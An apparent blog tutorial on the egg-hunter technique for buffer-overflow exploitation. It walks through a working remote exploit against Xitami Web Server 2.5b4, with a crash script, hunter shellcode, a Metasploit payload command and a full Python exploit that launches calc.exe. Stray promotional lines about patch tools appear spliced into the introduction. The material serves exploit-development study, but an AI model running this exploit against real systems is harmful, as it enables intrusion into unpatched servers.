Hunting the Egg: Egg Hunter

  • Post author:
  • Reading time:8 mins read

A bit of a background on buffer overflow to begin with. A buffer overflow occurs when a program tries to write more data into a buffer than it can. This makes it overrun and writes data in an unallocated memory location. If we carefully craft the data, we can control the flow of execution and then direct it toward executing arbitrary code. Patch management software can deploy patches very quickly.

An attacker puts his shellcode in the available buffer space to execute arbitrary code. These attacks can be avoided with the help of a good vulnerability management tool.

What if the shellcode requires more space than the available space in the buffer?

This is where the egg-hunter technique is useful. Egg hunter is a small piece of shellcode that searches for an actual bigger shellcode that the attacker could not fit in the available buffer space and redirect execution flow to it.

The egg hunter code searches for an “EGG,” which is a unique string of 8 bytes made up of combining two “TAG”. A “TAG” is a 4-byte unique string. Usually, attackers consider using strings like “w00t”, “lx xl,” or any other unique strings to search in memory. An “EGG” is formed by combining two “TAG” to make it more unique so that it won’t come across itself while searching in memory. The “EGG” is placed just before the “Shellcode,” and the egg hunter code is placed in the small available buffer space while exploiting the overflows.

EGG = TAG + TAG i.e (lxxl) + (lxxl)

buffer2

The basic mechanism of exploiting a stack overflow using egg hunter: When stack overflow occurs at some point, it overwrites the EIP register (EIP points to the next instruction to be executed). Then we should make an EIP point to ESP where our shellcode will be present. In some cases, shellcode might be just above the ESP; in that case, we need to jump back and execute shellcode which is egg hunter in this case, which searches for “EGG” in the entire memory and executes actual shellcode, which is next “EGG”.

Let’s execute our shellcode, making use of the egg hunter technique. We shall use Xitami Web Server 2.5b4, which has a remote buffer overflow vulnerability. We also need Immunity debugger and Mona.py plugin. The Xitami Web Server crashes if we send 72 or more bytes of data in the ‘If-Modified-Since’ header.

Below is simple Python code to crash the server.
import socket;

buf = "A" * 72
header = ( 'GET / HTTP/1.1\r\n' \
           'If-Modified-Since: , %s\r\n\r\n') %(buf)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("VULN-IP-ADDRESS", 80))
print "Sending Payload..."
s.send(header)
s.close()

This code crashes the server.

We now know that we have about 72 bytes of buffer space with us, which is very less to fit in our shellcode.

Add 4 more bytes of data to the “buf” variable to check the EIP register is overwriting its value “BBB”.

buf += "BBBB” 

Egg

From the above screenshot, it’s clear that the EIP register is overwritten with value “B” (i.e. “42” in hex ) and sent data in the above section of the screenshot.

Now let’s execute our shellcode using the egg hunter technique. We will use the “NTAccessCheckAndAuditAlarm” egg hunter technique, which is 32 bytes and easily fits in the available buffer space of 72 bytes.

Below is the hex code of the egg hunter.

hunter = ("\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8"
"\x6c\x78\x78\x6c" # Tag == lxxl
"\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7")

We will modify our “buf” variable to fit our hunter code.

buf = “A” * 35 #35 bytes
buf += hunter #32 bytes
buf += “A” * 5 #5 bytes
# Total 72 bytes

As we can see above,  our data is present in ESP, so next, we need to place the ESP address in EIP so that we can jump to ESP, and the egg hunter code is present just above where ESP is pointing.

To find out the “jmp esp” address in loaded modules, we will use the Mona plugin in the immunity debugger

!mona jmp -r esp”

returns with the ESP address.

Add ESP address to the “buf” variable.

buf += "\x7b\x46\x86\x7c" #jmp esp address

Now we will be in ESP and need to jump backward to the buffer to collide with our egg hunter code.

buf += "\xeb\xc4" # \xeb --> jmp \xc4 –60 bytes

As the egg hunter code executes, it hunts for the EGG in all the memory location and executes the shellcode, which is next to the egg.

Now it is time to generate our shellcode. We will be generating a shellcode to execute calc.exe. Metasploit helps us to generate the shellcode. Make use of the below command in Metasploit to generate shellcode.

msfpayload windows/exec CMD=calc.exe R | msfencode -b ‘\x00\x0A\x0D’ -t c”

Our final Python program will be as below,

import socket;

hunter = ("\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
"\xef\xb8\x6c\x78\x78\x6c\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7")

shellcode = ("\xd9\xcf\xb8\x24\xd4\x20\xaa\xd9\x74\x24\xf4\x5b\x2b\xc9\xb1"
"\x32\x31\x43\x17\x83\xc3\x04\x03\x67\xc7\xc2\x5f\x9b\x0f\x8b"
"\xa0\x63\xd0\xec\x29\x86\xe1\x3e\x4d\xc3\x50\x8f\x05\x81\x58"
"\x64\x4b\x31\xea\x08\x44\x36\x5b\xa6\xb2\x79\x5c\x06\x7b\xd5"
"\x9e\x08\x07\x27\xf3\xea\x36\xe8\x06\xea\x7f\x14\xe8\xbe\x28"
"\x53\x5b\x2f\x5c\x21\x60\x4e\xb2\x2e\xd8\x28\xb7\xf0\xad\x82"
"\xb6\x20\x1d\x98\xf1\xd8\x15\xc6\x21\xd9\xfa\x14\x1d\x90\x77"
"\xee\xd5\x23\x5e\x3e\x15\x12\x9e\xed\x28\x9b\x13\xef\x6d\x1b"
"\xcc\x9a\x85\x58\x71\x9d\x5d\x23\xad\x28\x40\x83\x26\x8a\xa0"
"\x32\xea\x4d\x22\x38\x47\x19\x6c\x5c\x56\xce\x06\x58\xd3\xf1"
"\xc8\xe9\xa7\xd5\xcc\xb2\x7c\x77\x54\x1e\xd2\x88\x86\xc6\x8b"
"\x2c\xcc\xe4\xd8\x57\x8f\x62\x1e\xd5\xb5\xcb\x20\xe5\xb5\x7b"
"\x49\xd4\x3e\x14\x0e\xe9\x94\x51\xe0\xa3\xb5\xf3\x69\x6a\x2c"
"\x46\xf4\x8d\x9a\x84\x01\x0e\x2f\x74\xf6\x0e\x5a\x71\xb2\x88"
"\xb6\x0b\xab\x7c\xb9\xb8\xcc\x54\xda\x5f\x5f\x34\x1d")

buf = "A"*35
buf += hunter
buf += "A"*5
buf += "\x13\x44\x87\x7c" #ESP Address
buf += "\xeb\xc4" #Jump backward
#EGG (TAG + TAG) + SHELLCODE.
buf += "lxxllxxl" + shellcode

header = ( 'GET / HTTP/1.1\r\n' \
           'If-Modified-Since: , %s\r\n\r\n') %(buf)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("VULN-IP-ADDRESS", 80))
print "Sending Payload"
s.send(header)
s.close()

There are several egg-hunter techniques for Win32 and Linux applications, as mentioned in the skape paper.

For Linux
  1. access(2) – 39 bytes
  2. access(2) revisited – 35 bytes
  3. sigaction(2) – 30 bytes
For Windows
  1. Structured Exception Handling (SEH) – 60 bytes
  2. IsBadReadPtr – 37 bytes
  3. NtDisplayString – 32 bytes
  4. NTAccessCheckAndAuditAlarm – 32 bytes

The egg-hunter technique varies on the basis of available buffer space to fit in the egg-hunter code and also depends on the memory-searching technique in the target system. 

– Shashi Kiran